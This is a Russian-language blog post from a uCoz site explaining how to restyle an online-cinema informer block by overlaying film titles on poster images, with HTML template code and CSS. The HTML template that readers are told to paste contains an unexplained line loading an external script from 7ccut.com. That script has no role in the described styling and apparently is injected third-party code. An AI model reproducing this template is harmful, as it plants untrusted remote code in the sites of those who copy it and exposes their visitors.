Вид информера онлайн кинотеатра - 25 Января 2014 - Раскраска картинок, игры, мультики, шаблоны, разукраски
Суббота
03.12.2016
09:45
Приветствую Вас Гость
Новости: RSS Новости: RSS
Скачать программу Раскраска картинок для детей с очисткой бесплатно.
Главная Регистрация Вход
Форма входа

Меню сайта

Категории раздела
Чаще смотрят...

Мои новости [9]

Поиск
на сайте:
ИСКАТЬ НА OZON.RU


Крутяк

Статистика

Besucherzahler how to marry a russian woman
счетчик посещений
www.megastock.ru
Онлайн всего: 2
Гостей: 2
Пользователей: 0
free counters

Главная » 2014 » Январь » 25 » Вид информера онлайн кинотеатра
18:07
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Просмотров: 113 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Наш опрос
Вы пользуетесь Раскраской картинок?
Всего ответов: 278

Облако тегов, язык


Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish

Картинки

Кнопки:
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:

JS код кнопки для UCOZ:

HTML код кнопки:


MultBox.Ucoz.Ru - Мультфильмы, обои, саундтреки
Создать сайт
Все для веб-мастера
Программы для всех
Раскраска картинок
Здесь можно бесплатно cкачать раскраски
Нарисовать и отправить открытку бесплатно.
Скрипты для UCOZ.

ФОНЫ, РАМКИ

Видеоприколы 1
Видеоприколы 2
Очень много стереограмм
Очень много панорам
Очень много панорам 2

Заработок на файлах

Реклама
Бесплатный серфинг


Всё что здесь представлено - для ознакомительных целей. Copyright StasPro © 2016
Используются технологии uCoz